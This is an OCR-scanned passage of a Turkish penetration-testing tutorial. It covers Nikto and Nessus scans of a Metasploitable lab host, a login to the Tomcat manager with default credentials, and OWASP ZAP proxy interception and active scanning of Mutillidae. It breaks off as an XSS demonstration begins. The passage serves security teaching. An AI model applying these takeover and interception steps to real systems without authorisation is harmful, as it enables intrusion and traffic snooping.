Site Link (Name) http://10.10.56.2:80/




Site Link (IP)  http://10.10.56.2:80/

ik bilgiler, hangi IP ve adresin tarandigi ile web sunucusunun ne oldugu
hakkinda. Burada sunucunun Apache 2.2.8 oldugunu basaril bir sekilde
buldugunu goriyoruz.

URI /

HTTP Method GET

Description Retrieved x-powered-by header: PHP/5.2.4-
2ubuntu5.10

Test Links http://10.10.56.2:80/
http://10.10.56.2:80/

OSVDB Entries OSVDB-0

PHP/5.2.4 versiyonunun kullanildigini da bulmus. ilk iki 6rnegin detayini
verdikten sonra artik sadece 6nemli detaylarin aciklamalari Gizerinden
ilerleyecegim.

Apache mod_negotiation is enabled with MultiViews, which allows
attackers to easily brute force file names. See
http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following
alternatives for 'index' were found: index.php

Apache’nin mod_negotiation ayari acik oldugundan deneme yanilma
yontemiyle dosya isimleri bulunabilir.




HTTP TRACE method is active, suggesting the host is vulnerable to XST%°

TRACE acik oldugu icin uzaktan izlemeyle baska kullanicilarin bilgilerine
ulasma saldirilari yapilabilecek durumda.

/doc/: Directory indexing found.

/doc/: The /doc/ directory is browsable. This may be /usr/doc.

/doc adinda bir dizin bulmus, ayrica icerigi listelenebiliyor. Altlardaki
detaylarda ayrica /test ve /icons seklinde de dizinler bulundugu bilgisini veriyor.
Bu dizinleri detayli inceleyerek “Acaba isimize yarayacak bilgiler ve agikliklar var
mi?” sorusuna cevap arayabiliriz.

2 https://www.owasp.org/index.php/Cross_Site_Tracing



/phpMyAdmin/: phpMyAdmin is for managing MySQL databases, and
should be protected or limited to authorized hosts.

phpMyAdmin disariya acik. Eger yetkili erisim saglayabilirsek sitenin
veritabanini yonetebilecek duruma geliriz. MySQL veritabanindaki kullanicilar
ve tablolardaki bilgiler belki de ulasmak istedigimiz hedef bilgiler olabilir.

Simdi de 8180 portu taramasinin sonuglarini incelemeye baslayalim:

Target IP 10.10.56.2

Target hostname 10.10.56.2

Target Port 8180

HTTP Server  Apache-Coyote/1.1

Site Link (Name) http://10.10.56.2:8180/

Site Link (IP)  http://10.10.56.2:8180/

ilk basta yine hangi adresi taradigini veriyor ve web sunucusunun Apache-
Coyote/1.1 oldugunu soyluyor.

Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, TRACE,
OPTIONS

Burada hangi http metotlara izin verildigini gosteriyor. Goruldiugu tizere PUT
metodu acik oldugu icin disaridan baglananlarin sunucuya kendi dosyalarini
atabilecegini 6grenmis oluyoruz. Ayrica DELETE metodu acik oldugu icin
disaridan gelen kullanicilarin dosya silebilecegi bilgisini veriyor.



GET

/: Appears to be a default Apache Tomcat install.

Yukarida gordiigiiniiz gibi bir Apache Tomcat kurulumu oldugunu buldu. Bu
detaylardan ve 80 portu taramasindan da anlasilacagi tizere farkh portlarda
farkh sunucular farkli hizmetler verebilir. Eger buna dikkat etmemis olsaydik
sadece 80 portunu tarayip gecebilir ve 8180 portunu hic fark etmeden devam
edebilirdik.

Description /admin/index.html:

Admin login page/section found.

Tomcat yonetim arayizine erisimin acik oldugunu bulmus. Daha 6nceki
Nessus taramasindan da hatirlarsaniz; Nessus ilk Tomcat kurulumunda yer alan
kullanici adi ve sifrenin hala gegerli oldugunu bulmustu. Bu kullanici adi
“tomcat”, sifre de yine “tomcat” idi. Simdi giris yapip yapamayacagimizi

deneyelim.

http://10.10.56.2:8180/admin/index.html linki ¢calismadigi icin http://
10.10.56.2:8180/admin/ seklinde deneyerek asagida goruldigu tizere yonetim
arayuzune kullanici adi ve sifreyle girmeyi basardim. Demek ki Tomcat

sunucusunu ele gegirdik.
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Ayrica verilen linkleri denedigimizde http:// 10.10.56.2:8180/manager/html
adresine de girebildigimizi gorecegiz.

Bu noktada alacagimiz ders: Eger en temel glivenlik adimlarina dikkat
edilmezse zafiyet taramasi asamasinda ilgili sunucunun ele gegirilmesi mimkiin
olabilir.

Nessus web taramasi

Web zafiyet taramasinda kullanabilecegimiz araglardan birisi de Nessus.
Nessus’u ag zafiyet taramasi politikasiyla taramada daha 6nce kullanmistik. Bu
sefer web sitesi taramasiyla yeniden kullanacagiz.

Nessus’ta her zaman 6nceden bir tarama politikasi olusturmak zorunda
degiliz. istersek “Scans” boélimiinden “New Scan” butonuna tikladiktan sonra
gelen tarama politikalarindan birini secerek de tarama yapabiliriz.



Kullanacagimiz politikanin varsayilan ayarlarda kalmasini istemiyor ve detay
ozellikler girerek kendimize gore politika ayarlarini degistirmek istiyorsak
oncelikle politika olusturmakla ise baslayabiliriz. Ama biz varsayilan Web
Uygulama Testleri ile tarama yapacagimiz icin “Scans” kismina gecip “New
Scan” secenegine tikliyoruz. Karsimiza ¢ikan ekrandan “Web Application Tests”

butonuna tikhyoruz.

Nessus Home / Scans - Iceweasel @ o

) Nessus Home /Scans X% | *

(-, @ https://localhost;8834/#/scans/new vC|| A Search ﬁ B 4+ 4
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“Name” (Ad) icin “Web taramasi”, “Targets” (Hedefler) icin hedef IP
adresimizi giriyoruz: 10.10.56.2. Asagidaki “Save” butonuna tikladiktan sonra
“Scans” (Taramalar) listesinde web taramamizi gorebiliriz. Daha 6nce de
anlattigimiz gibi “Launch” simgesine tiklayinca taramamiz baslayacaktir.

Asagida tarama sonugclarinin 6zet ekrani géruliyor:



web taramasi Configure | Audit Trail

Launch ¥ Expot ¥ v
Scans > Hosts n Vulnerabilities History
Host Vulnerabilities a Scan Detalls
Status: Completed
Policy: Web Application Tests
Scanner: Local Scanner
Folder: My Scans
Start: January 3 at 7:07 PM
End: January 3 at 10:51 PM
Elapsed: 4 hours
Targets: 10.10.56.2

Vulnerabllities

High
Medium
® Low
® Info

Detaya tikladigimizda yiksek seviyede bazi zafiyetler oldugunu goriyoruz.

Simdi bazi zafiyetleri biraz daha ayrintili olarak inceleyelim.

Apache HTTP Server Byte Range DoS

Burada problem Apache versiyonunun eski olmasi ve disaridan bir saldiriyla
web sunucusunun tamamen calisamaz hale getirilmesi (Denial Of Service).

Apache PHP-CGI Remote Code Execution

Mevcut PHP versiyonu bir saldirganin uzaktan izinsiz komut calistirmasina
izin veriyor.



Simdilik bu kadar 6rnekle yetinelim. Asagidaki 6érnekleri incelemeye devam
ettiginizde Nikto’dakine benzer sonuclarin listelendigini géreceksiniz.

OWASP Zed attack proxy*!

OWASP ZAP, web sitesi saldirilarinda hemen hemen her tirli 6zelligin
elinizin altinda olacagi bir aragc. Web sitesi taramalarinda temel g 6zellik

kullaniliyor:
- Spidering: Web sitesinin butlin sayfalarini dolasip indirme ve inceleme.

- Intercepting Proxy: Araya girip trafigi dinleyen ve midahale edebilen bir
vekil sunucu gorevi.

- Vulnerability Analysis: Zafiyet taramasi.

ZAP tamamen Ucretsiz bir yazihim ve Kali’de kurulu olarak geliyor.
Calistirmak icin Terminal’de “owasp-zap” veya “zap” yazabilirsiniz.

Simdi ZAP’1 calistiralim ve karsimiza gelen ekrani inceleyelim. ZAP’1 Kali’de ilk
defa calistiriyorsak bir onay ekrani gelecektir. Bu ekrani “Accept” (Kabul et) ile

geciyoruz.

21 https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
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Welcome to the OWASP Zed Attack Proxy (ZAP

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applicatio|
Please be aware that you should only attack applications that you have been specifically been giver

To quickly test an application, enter its URL below and press 'Attack'.

URL to attack: http://
| % attack || M stoy

Progress: Not started

For a more in depth test you should explore your application using your browser or automated regre

If you are using Firefox 24.0 or later you can use 'Plug-n-Hack' to configure your browser:

Configure your browser: M Plug-n-Hack \

Or point your browser at: Http://localhost:8680/pnh/’.’apikey=kb7oc6j|23u0kmm1qh333rk]1v

[« =) T
_f =) HistoryT , search T U Alerts T Output T?]
@ @ | Filter:OFF
Id | Req. Timestamp | Meth... | URL | Co... |Reason | R... | Size Resp. B... | Highest Al... | No... | Tags B

Alerts W0 0 W0 WO

A

;

v
Current Scans 40 2 0 @0 %0 , 0 o #o

Yukarida gorildigi tizere ZAP’in birgcok 6zelligi var ve her birini 6grenmeniz
arastirma ve calisma gerektirecektir. Biz simdi temelden baslayalim. ilk isimiz
ZAP’In glincellemelerinin olup olmadigini kontrol etmek. Bunun igin Ust
meniden “Help = Check for Updates” secerek glincelleme kontroll yapiyoruz.
Benim kontroliimde hem ZAP versiyon glincellemesi hem de eklentileriyle ilgili

glincellemeler oldugu ortaya cikiyor. ZAP eklentilerinde glincellenmesi

gerekenler, yaninda “Update” secenegiyle goriliiyor. Yapacagimiz
gincellemelerin yanindaki kutucuklari isaretliyoruz ve “Update Selected” (Secili

Olanlari Glincelle) diigmesine tikhyoruz.



Manage Add-ons © © 0

_[ Installed T Marketplace ]

ZAP Core
There is a more recent version of OWASP ZAP:2.4.3 | || || Download Options |
Add-ons
| Name | Description | Upda... | |

Active scanner rules The release quality Active Scanner rules Upda.. [ |A
AdvFuzzer Advanced fuzer for manual testing L] 3
Ajax Spider Allows you to spider sites that make heavy use of Jav... 0
Core Language Files Translations of the core language files O
Diff Displays a dialog showing the differences between 2 ... Upda... [V
Directory List v1.0 List of directory names to be used with "Forced Brows... Upda... [V
Forced Browse Forced browsing of files and directories using code fr... UJ
Getting Started with ZAP... A short Getting Started with ZAP Guide O
Help - English English (master) version of the ZAP help file. U
Invoke Applications Invoke external applications passing context related i... UJ
Online menus ZAP Online menu items |
Passive scanner rules The release quality Passive Scanner rules OJ
Plug-n-Hack Configuration  Supports the Mozilla Plug-n-Hack standard: https://de... B
Quick Start Provides a tab which allows you to quickly test a targ... U v

| Uninstall Selected || Update Selected || Close |

Bltln giincellemeler bitince yaninda “Update” secenegi olan bir eklenti
kalmamis olmasi lazim. Artik glincelleme ekranini kapatip tarama kismina
gecebiliriz.

Vekil sunucu ve pasif tarama:

ilk olarak vekil sunucu (proxy server) dzelligini anlatacagiz. Bu dzellikle
internette gezinmelerinizi ZAP araciligiyla yapip veri toplayabilirsiniz. ZAP’
calistirdiginizda vekil sunucu da devreye girer. Kullandigi port 8080°dir. Eger
degisiklik yapmak isterseniz Gist meniden “Tools = Options” secip devaminda
“Local proxy” ayarlarindan istediginiz degisikligi yapabilirsiniz.



Options

v bp{ions

T

Local proxy )
Active Scan N =
Active Scan Input Vector Local proxy
AJAX Spider
Anti CSRF Tokens Address (eg localhost, 127.0.0.1) localhost
API

Port (eg 8080 =

Applications feg ) 208t w
Breakpoints
Certificate Set your browser proxy setting using the above. The http port and https port

must be the same port as above,

Check For Updates
[V Modify/Remove "Accept-Encoding" request-header

Connection
Database (V] Always unzip gzipped content
Display
Dynamic SSL Certificates || Security Protocols 7
Encode/Decode ‘
Extensions [/) ssLv2Hello (V] sSL3 (V] TLS 1 ) TLS 1.1 (V] TLS 1.2
Forced Browse
Fuzer
Global Exclude URL (Bet:
Http Sessions
Keyboard
Language
Passive Scan Rules
Passive Scan Tags
Scripts
Search
___ Selenium

> |

v

| Cancel || OK |

Bundan sonra yapmamiz gereken vekil sunucuyu internet gezginimizin
ayarlarinda tanitmak. Hatirlarsaniz bu ayari daha dnce Tor agini kullanmak igin
de yapmistik. Bundan dolayi ayarlari bulmakta zorlanirsaniz “Tor vekil sunucu
(Tor proxy)” kismina bakabilirsiniz. Ayarlarimizin nasil olmasi gerektigiyle ilgili
ekran gorintisini asagida gorebilirsiniz.




Connection Settings

Configure Proxies to Access the Internet
' No proxy
_ Auto-detect proxy settings for this network
) Use system proxy settings

@ Manual proxy configuration:

|

HTTP Proxy: | 127.0.0.1 | Port: | 8080|%

& Use this proxy server for all protocols

| Remote DNS
No Proxy for:

| localhost, 127.0.0.1

Example: .mozilla.org, .net.nz, 192.168.1.0/24

) Automatic proxy configuration URL:

_ | Do not prompt for authentication if password is saved

Help : | Cancel | OK

Bundan sonra son bir ayarimiz daha kaliyor. Web gezgininde dolastiginizda,
asagidaki 6rnekte de géreceginiz gibi https trafiginde sertifika hatasi alacaksiniz.
Bu, trafigin dinlendigi anlamina geliyor. Eger boyle bir durumla karsilasirsaniz ve
siz kendi trafiginizi dinlemiyorsaniz birileri sizin trafiginizi dinlemeye ¢alisiyor
demektir. Suanda OWASP sertifikasi araya girdiginden boyle bir hata aliyoruz.
Web gezgininiz son glincel versiyonda ise https trafiginde araya bir sertifika
girdiginde “I Understand the Risks” (Riskleri anliyorum) diyerek



gecemeyebilirsiniz. Asagida gordugliniz gibi boyle bir hata mesajiyla karsilastik
ve “I Understand the Risks” secenegi yok.

/ kid Untrusted Connection % "‘\ L

& https://www.twitter.com v C‘ | Q Search \ »

f5Most Visited v lllOffensive Security W\ Kali Linux W Kali Docs "\ Kali Tools KBExploit-DB

This Connection is Untrusted

You have asked Iceweasel to connect securely to www.twitter.com, but we
can't confirm that your connection is secure.

Normally, when you try to connect securely, sites will present trusted
identification to prove that you are going to the right place. However, this site's
identity can't be verified.

What Should | Do?

If you usually connect to this site without problems, this error could mean that
someone is trying to impersonate the site, and you shouldn't continue.

This site uses HTTP Strict Transport Security (HSTS) to specify that Iceweasel
only connect to it securely. As a result, it is not possible to add an exception
for this certificate.

\ Get me out of here! ]

Technical Details

www.twitter.com uses an invalid security certificate.
The certificate is not trusted because the issuer certificate is unknown.

(Error code: sec_error_unknown_issuer)

Bu durumda OWASP sertifikasini web gezginine tanitmak gerekecektir. Bunu
yapmak icin OWASP ZAP ekraninda “Tools = Options” segip “Dynamic SSL




Certificates” bolimune tikhyoruz. OWASP sertifikasini “Save” digmesine

tiklayarak masatstiine dosya olarak kaydedelim.

Options
v Options Dynamic SSL Certificates 2]
Active Scan
Active Scan Input Vectors i g - OB ARG S At oL as it tn s ey e
AIAX Spider o Root CA certifica... | inouonavivi CBg jENMCUGALUEAwweT1dBUL AGhnVk TEFOGF | ayBQcn94eSE &
paFgons sy rvr— IENBMRYwWFAYDVQQHDAOZNTgWZTIyY 23k MTk X MRYwFAYDVQQKDALPVOFTUC
ntl okens: | Generate | IENBMRowGAYDVQQLDBFPVOFTUCBaQVAgUNSvdCBDQTELMAK GALUEBhMCeHg
API e MAOGCSqGSIb3DQEBAQUAAAIBDWAWGEKA0IBAQDGY7KP4Wlhk CoMs1Uato
Applications M GTkzfhnzmYSgjvZ0zF6QUcDGal+up4adBVj13NtSEDZTNMFX+qsBTpDKD/!
Breakpoints Jr0z92CC72AZ00KMNK1wZq510dgdLXc IZgIHuSdiSoz5Nt /fdiYUZ4ToSA4
Certificate BJEGE70DupPPO9B80 IWFbQPsLzIf8njywrrjeOpX3guy7YEGISCNRuuPenn
1Go1lnlpsRsdpA4f+HvaxQi7EGe 35 TBaB8Be 1KUZXBKSML 3d8PwmX2CNI8ZT
Check For Updates uNNztSX1yb1VIFZ1EZ7A9aHQO0 FqEUAUe Tk IKNZWCpmBVIFT I87TMSDZLPS
Connection AAGj ggF+MIIBe j CCATMGALUdDgSCASoEggEMMIIBI j ANBgk qhk 1GOwOBAQE
Database AQSAMIIBCgKCAQEAxley j+FpYZAqDLNVGraA+rLRBRkSM34Z85mOYI72dMx
Display ;gtf rqeGuAWQdibUEuUzZ?V/q raueQyg/z1l r:;eiaQMr/]dgguggGTqC%'Fi
- s HYHS13CWYCB7knYkqM+Thf33YmFGe CKOQONGk fmQSRBhOzg7qTz9PQTKJ
7C8yH/1485K643jqVI4Lsu2BBvbAjUb rj3pS6FtHeSRqNZpabEbHaQOH/h7
Encode/Decode XBnt+YOWY AXtS1GV/Ck jNd3fD8I19gj SPGSKRE0a7] Vs 7U19cmOVSENARG
Extensions ONKHBhFALN1JCSjc1nKZvMPRSCT00zLA2ZT0]QIDAQABMABGALUdEWEB/WQ
Forced Browse Af8wCwYDVROPBAQDAGG2MCMGALUd JQQcMBo GCCs GAQUFBWMBBgg rBgEFBQC
Fuzzer VROLADANBgk qhkiGOwOBAQSFAAOCAQEAGNN3DY qrQIMplYdgIDOQm1RRAL

Global Exclude URL (Beta)
Http Sessions
Keyboard
Language

Local proxy
Passive Scan Rules
Passive Scan Tags
Scripts

Search

Selenium

Spider
WebSockets

Zest

nbAAUSTSbXZ0edc6piZvZ8ABPREFA3UeQApUSMTtGB4V32rZCP4G1 JeYEr0
Ywo+uYfUlptBvYXDeOrrXM3PgasI2xmQlv3dZL tUYKEogPPqYyM4Tk 70k DE
/RgCv30+DkstqxpOZexEYeyb j6qH+kS3I8B]9T+67VMUhKS71HVRorGRs 75
TAYHZE+CMs 7P+0H3NT4SZI1+Z0fvcUQOF7VBRGIIahqod JmowTsEe rdDp80
WIYESDuPvpnvIfVQ+BL23B0Oko jxhy7aWzH5uiQQN4Ch JFvMuUzCyVg==
----- END CERTIFICATE-----

< |

| %; View | [WgSaveiJ

Cancel

Simdi sira bu sertifikayl web gezginimizin “Authorities” bélimiine eklemeye

geldi. Web gezgininde “Preferences - Advanced = Certificates” boluminden

“View Certificates” butonuna tikliyoruz. Asagidaki gibi bir ekran karsimiza

cikiyor:




Certificate Manager

Your Certificates People Servers Authorities | Others

You have certificates on file that identify these certificate authorities:

i

Certificate Name Security Device
v(c) 2005 TURKTRUST Bilgi iletisim ve Bilisim ...
TURKTRUST Elektronik Sertifika Hizmet S... Builtin Object Token
YA-Trust Ges. f. Sicherheitssysteme im elektr....

A-Trust-nQual-03 Builtin Object Token
YAC Camerfirma S.A.

Chambers of Commerce Root - 2008 Builtin Object Token

Global Chambersign Root - 2008 Builtin Object Token
YAC Camerfirma SA CIF A82743287

Chambers of Commerce Root Builtin Object Token

Global Chambersign Root Builtin Object Token
YACCV

ACCVRAIZ1 Builtin Object Token

YActalis S.p.A./03358520967

Edit Trust ‘ Import... | Export Delete or Distrust

—

Burada “Import” secenegine tikliyoruz. Bulundugu dizinden sertifikayi
sectikten sonra ¢ikan ekranda her tirli durumda web gezgininin bu sertifikaya
glvenmesini istiyoruz ve “OK” tusuna tikliyoruz. Bundan sonra https trafiginde
sertifika hatasi almadan devam edebilecegiz.



Certificate Manager

Your Certificates People Servers Authorities | Others

Downloading Certificate

You have been asked to trust a new Certificate Authority (CA).

Do you want to trust "OWASP Zed Attack Proxy Root CA" for the following purposes?
® Trust this CA to identify websites.

& Trust this CA to identify email users.

W|Trust this CA to identify software developers.

Before trusting this CA for any purpose, you should examine its certificate and its policy and
procedures (if available).

[ View Examine CA certificate

Cancel J . OK l

’7OK

Ayarlar bittikten sonra internette dolasmaya baslayabilirsiniz. Web
gezgininde 6rnek bir https sayfa agalim: https://twitter.com.

Welcome to Twitter - Login or Sign up - Iceweasel e ® 0

) ¥ Welcome to Twitter... X | &

Grmm‘: //twitter.com Y C"‘ ‘F\\ Search ‘ wae 3 #
[% Most Visited ¥ moffensive Security \Kali Linux \Kati Docs \Kali Tools nExploit-DB ‘Aircrack-ng

W Home About Language: English +

A,
"I"Q

"Welcome to Twitter.

Log In

Forgot password?

Connect with your friends — and other

fascinating people. Get in-the-moment updates

offthe things that interest.you. And watch events
in real time, from every:f)ngle.



https://twitter.com/

Sertifika detayina bakmak icin sol Gstteki simgeye, ardindan “More
Information”a ve “View Certificate”a tiklayalim. Asagidaki sertifika detaylarinda
da gordiginiiz Uzere OWASP’a ait bir sertifikayla karsilastik. Demek ki OWASP
ZAP tarafindan dinleniyoruz. Pek tabii bu biz oldugumuz icin su anda problem
yok.

Certificate Viewer:"twitter.com"

General | Details

This certificate has been verified for the following uses:

SSL Client Certificate

SSL Server Certificate

Issued To

Common Name (CN) twitter.com

Organization (O) OWASP

Organizational Unit (OU) Zed Attack Proxy Project

Serial Number 28:69:52:6A:0C:40

Issued By

Common Name (CN) OWASP Zed Attack Proxy Root CA
Organization (O) OWASP Root CA

Organizational Unit (OU) OWASP ZAP Root CA

Period of Validity

Begins On 12/05/2015

Expires On 03/22/2024

Fingerprints

SHA-256 Fingerprint ~ D8:1E:54:51:6C:48:ED:CF:8B:04:2A:37:5B:4A:0D:C3:
03:66:03:58:63:A4:A0:76:9D:6B:69:63:A6:72:4D:6C

SHAL Fingerprint 17:89:54:4B:EF:7F:D6:07:86:4C:5B:8F:5B:56:7C:9D:2B:89:85:D5

Close

Birkac siteyi dolastiktan sonra ZAP’a donlip neler olup bittigine bakabiliriz.



Untitled Session - OWASP ZAP 2.4.1 @ ® 0

File Edit View Analyse Report Tools Online Help

(Standardmode jm) | 1 E MW 2 & A 2E 08 O5@: Y O P X EL amE ) ‘
miﬂ _[ ~ Quick Start ﬁ?T =» Request TResponse~‘= m
iwl=l= 5
|8 coritats Welcome to the OWASP Zed Attack Proxy (ZAF)
- “[t Context | | ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applicatit
> [ W http:/www.metu.edu.tr Please be aware that you should only attack applications that you have been specifically been give

> g U https://safebrowsing-cache.google.com
» g W https://safebrowsing.google.com
> g https://syndication.twitter.com
> g U https:/twitter.com
> g W https://www.facebook.com | 7 Attack || M st
> g [ https://www.google-analytics.com
> g W https://www.google.com

& | ¥ https://www.twitter.com

To quickly test an application, enter its URL below and press 'Attack’.

URL to attack: http://
Progress: Not started

For a more in depth test you should explore your application using your browser or automated regr

If you are using Firefox 24.0 or later you can use 'Plug-n-Hack' to configure your browser:
Configure your browser: | M Plug-n-Hack a

OQmint vour browser at: hrfn:/llnralhoqt:8080/nnhf?anikev=kh7nj&ﬂ23u&kmmJ_nh333LkiL‘,, ¥
|- »

[ = History T E, search T;FU Alerts :FT output | ==

@ ® Full details of any selected alert will be displayed here.
| v
(& Alerts (7) » You can manually add alerts by right clicking on the relevant line in the history an
> (&5 ™ X-Frame-Options Header Not Set (4) d selecting 'Add alert’,
» (& = Cookie set without HttpOnly flag (6)
» (& " Cookie set without secure flag (9) You can also edit existing alerts by double clicking on them.

» (& v Cross-Domain JavaScript Source File Inclusion (2)

» (& 7 Incomplete or No Cache-control and Pragma HTTP Header Set |
» (& ™ Password Autocomplete in browser (2)

» (&5 = Web Browser XSS Protection Not Enabled (5)

[<C T |
Alerts W0 1 6 MO Current Scans 4¢ 0 A 0 @0 %0 J 0 §o %ol

Yukarida gordigiiniiz Gzere dolastigimiz sitelerle ilgili bilgiler toplanmis.
Ayrica bu sitelerde olasi agikliklar da asagida “Alerts” kisminda listelenmis
durumda. Bu 6zelligin en buylk faydasi bir siteye saldirdiginizin anlasiimamasi,
normal bir kullanici gibi sitede gezerek islemlerinizi yapmaniz ve arkada vekil
sunucunuzun trafigi analiz ederek agikliklari tespit etmesi.

Aktif tarama:

Artik aktif bir sekilde Metasploitable’a bir saldiri denemesi yapalim. Bunun
icin oncellikle Host-Only aga geciyoruz. Asagida goruldigi gibi “Quick Start”
(Hizli Basla) kisminda “URL to attack” kismina (Saldirilacak Adres)
Metasploitable IP’sini girerek “Attack” (Saldir) digmesine basiyoruz. Ben
burada “http:// 10.10.56.2/mutillidae” giriyorum. Mutillidae zaten saldirilip ele
gecirilmek Uzere tasarlanmis oldugu icin ve de testimiz kisa sirsiin diye su an
sadece Metasploitable’deki web uygulamalarindan birine saldiracagiz.



Untitled Session - OWASP ZAP - | O
File Edit View Analyse Report Tools Online Help
Standardmode jv) | | B M 7§ B OE48 O8@ ¢ =« ) oxadam ¢
W J + Quick Start = ]’:" F\equastTRespnnse\‘-: T“ Break T Script Console ]
T @ [ sites

v @ http//192.168.56.102 Welcome to the OWASP Zed Attack Proxy (Z

| P GET:mutillidae

ZAP is an easy to use integrated penetration testing tool for finding wulnerabilities in web app
Please be aware that you should only attack applications that you have been specifically beer

To quickly test an application, enter its URL below and press 'Attack’.

URL to attack: | http://192.168.56.102/mutillidaes
& Attack B stoy

Progress: Not started
For a more in depth test you should explore your application using your browser or automalef
v

- T T

4 Fuzzer T [ |Params T <4 Http Sessions T .. Zest Results T < Clients T &Y WebSockets I H AJAX Spider T Output
= History T %, Search ] 2 Break Points T FU plerts T ) Active Scan T % Spider ] ~ " Forced Browse

@ @ | Filter:OFF

Id Req. Timestamp | Meth... | URL Co.., |Reason |R..|Size Resp. B... | Highest A... |N... |Tags ]
1 23/06/14 20:4... GET http://192.168.56.102/ 200 OK 2. 891 bytes  Low A

3 23/06/14 20:4... GET http://192,168.56.102/mutillidae/ 200 OK 4., 23.7KB o Low Script, SetCo... [

L

Alerts W0 RO 3 R Current Scans ) 0 %0 0 o o #o

Bundan sonra “Spider” tabindan kontrol ederseniz bitin sitenin detayli

olarak taranip sayfalarin bulundugunu géreceksiniz. Bu islem biraz uzun

surebilir. Bundan sonra da “Active Scan” (Aktif Tarama) adimi baslayacak. Bu

adimda bitln buldugu sayfalarla ilgili zafiyet taramasi yapacak. Asagida
bununla ilgili 6rnek bir ekran goriiyorsunuz.



Untitled Session - OWASP ZAP 2.4.1 e @ 0
File Edit View Analyse Report Tools Online Help

(Standardmode ) (| B W g & A 2@ EBEAO0 @OEDm: Y b PooXEdmE  © |

@ sites | 4= JV Quick Start # | =» Request | Response¢= -

0 E] E
v Cortaits Welcome to the OWASP Zed Attack Proxy (ZA

(5] Default Context ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applicatit
v @ M sSites
v ®http://10.10.56.2 Please be aware that you should only attack applications that you have been specifically been give

|| P GET:mutillidae
| ™ ¥ GET:robots.txt

i

|| ™ # GET:sitemap.xml

To quickly test an application, enter its URL below and press 'Attack’.

» ] ® @ mutilidae URL to attack: http://10.10.56.2/mutillidae
|| ® @ GET:mutillidae(page) ¥ attack ] stop
Progress: Actively scanning (attacking) the URLs discovered by the spider

For a more in depth test you should explore your application using your browser or automated regr

If you are using Firefox 24.0 or later you can use 'Plug-n-Hack' to configure your browser:

Configure your browser: M Plug-n-Hack K
J)innint vour browser af: hr'rn:lllncalhnst:8080/nnhf?anikav=kh7njsﬂz3un_kmmlgb333;kug_v_ ¥
« >

[ = HistoryT‘f‘\ Search TPJAIerts T || Output T b SpiderT )\ Active §¢;_a_n; x| 4

A New Scan - Progress: | 0: http://10.10.56.2/mutillidae g] 00 O =5 0% |« Current Scans: 1 | Num requests: 19 5%
Id | Req. Timestamp | Resp. Timestamp | Meth... | URL | Co... |Reason | R...|Size Resp. Hea... | Size Resp. B... |

347 04/01/16 11:58... 04/01/1611:58... GET http://10.10.56.2/mutillidae/index.php?u... 200 OK 1... 362 bytes 23.33KiB A

348 04/01/1611:58... 04/01/16 11:58... GET http://10.10.56.2/mutillidae/index.php?p... 200 OK 1. 362 bytes 23.67 KiB

349 04/01/1611:58... 04/01/16 11:58... GET http://10.10.56.2/mutillidae/index.php?u... 200 OK 1... 362 bytes 23.33KiB

350 04/01/16 11:58... 04/01/16 11:58... GET http://10.10.56.2/mutillidae/index.php?p... 200 OK 1... 362 bytes 23.67 KiB

351 04/01/16 11:58... 04/01/16 11:58... GET http://10.10.56.2/mutillidae/index.php?u... 200 OK 1... 362 bytes 23.37 KiB

352 04/01/16 11:58... 04/01/16 11:58... GET http://10.10.56.2/mutillidae/index.php?p... 200 OK 1... 362 bytes 23.67 KiB

353 04/01/16 11:58... 04/01/16 11:58... GET http://10.10.56.2/mutillidae/index.php?u... 200 OK 1... 362 bytes 23.37 KiB

354 04/01/1611:58... 04/01/1611:58... GET http://10.10.56.2/mutillidae/index.php?p... 200 OK 1... 362 bytes 23.67 KiB

355 04/01/16 11:58... 04/01/16 11:58... GET http://10.10.56.2/mutillidae/index.php?u... 200 OK 1... 362 bytes 23.32 KiB b |
Alerts i1 2 U5 RO Current Scans 440 21 @0 #o0 , 0 £o0 o

Bir stire bekledikten sonra tarama bitmis olacak. Asagida sonuglarla ilgili
ekran goruntusu yer aliyor.



Untitled Session - OWASP ZAP 2.4.1 e ® 0

File Edit View Analyse Report Tools Online Help
(Standardmode v) | S M 5 & S2E 0@8 050 v P roxBLmE o |

@ Sites | 4= _f - Quick Start #T = Requ;st T Responses= | 4=

il a
S S A e = ™
v 5 Contexts Welcome to the OWASP Zed Attack Proxy (ZAF

(2] Default Context ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applicatis
Y @ M Sites
v ®http://10.10.56.2 Please be aware that you should only attack applications that you have been specifically been give

|| P GET:mutillidae
U % GET:robots.txt

¥ # GET:sitemap.xml

To quickly test an application, enter its URL below and press 'Attack’.

> BB ®  mutillidae | URL to attack: http://10.10.56.2/mutillidae
|| M @ GET:mutillidae(page) i Attack B Stoy
> b hitps:/isafebrowsing.google.com Progress: Attack complete - see the Alerts tab for details of any issues found

For a more in depth test you should explore your application using your browser or automated regr

If you are using Firefox 24.0 or later you can use 'Plug-n-Hack' to configure your browser:
Configure your browser: M Plug-n-Hack K
_Or noint vour browser at: h'rfn:I/Inralhoe:.f:8080/nnhf?anikev=kh7r§(ijl23uﬂkmml_ab333;kﬂ4;‘,,\ v
1 | <X >

[ = History] C, Search T{FUAIerts #T | Output T % Spider T ) Active Scan | 4=

@ 0 __ | Full details of any selected alert will be displayed here.
v IS
(& Alerts (13) ) o ™/ | You can manually add alerts by right clicking on the relevant line in the history and selecting
» (& ® cross Site Scripting (Reflected) (22) ‘Add alert",
» (& ™ External Redirect
» (& ™ Path Traversal (9) You can also edit existing alerts by double clicking on them.

» (& ™ Remote 0S Command Injection ‘
» (& ™ Application Error Disclosure (17)
» (& ™ Directory Browsing (4)
» (& m Parameter Tampering (12)
> ﬁ 4 X-Frame-Options Header Not Set (81)
__» [ £ Cookie set without HttnOnly flaa (160) i
[(Alerts w4 w4 s WO Current Scans 4 0 A 0 @0 %0 ,0 &0 3o/

|«

“Alerts” kismini inceledigimizde listelenmis sorunlari gériiyoruz. Simdi bu
acikliklardan birkagini inceleyelim.

Cross site scripting:

Baska bir yerden hedef sitede komut ¢alistirabilme acikhgil. Bu agiklikla web
sitesine godmulen kod, web sitesini calistiran her kisinin bilgisayarinda calisir.
Boylelikle siteye erisen kullanicilar birer hedef haline gelir. Simdi bunun
ornegini gérelim. ilgili uyarinin Gizerine sag tiklayip “Open URL in browser”
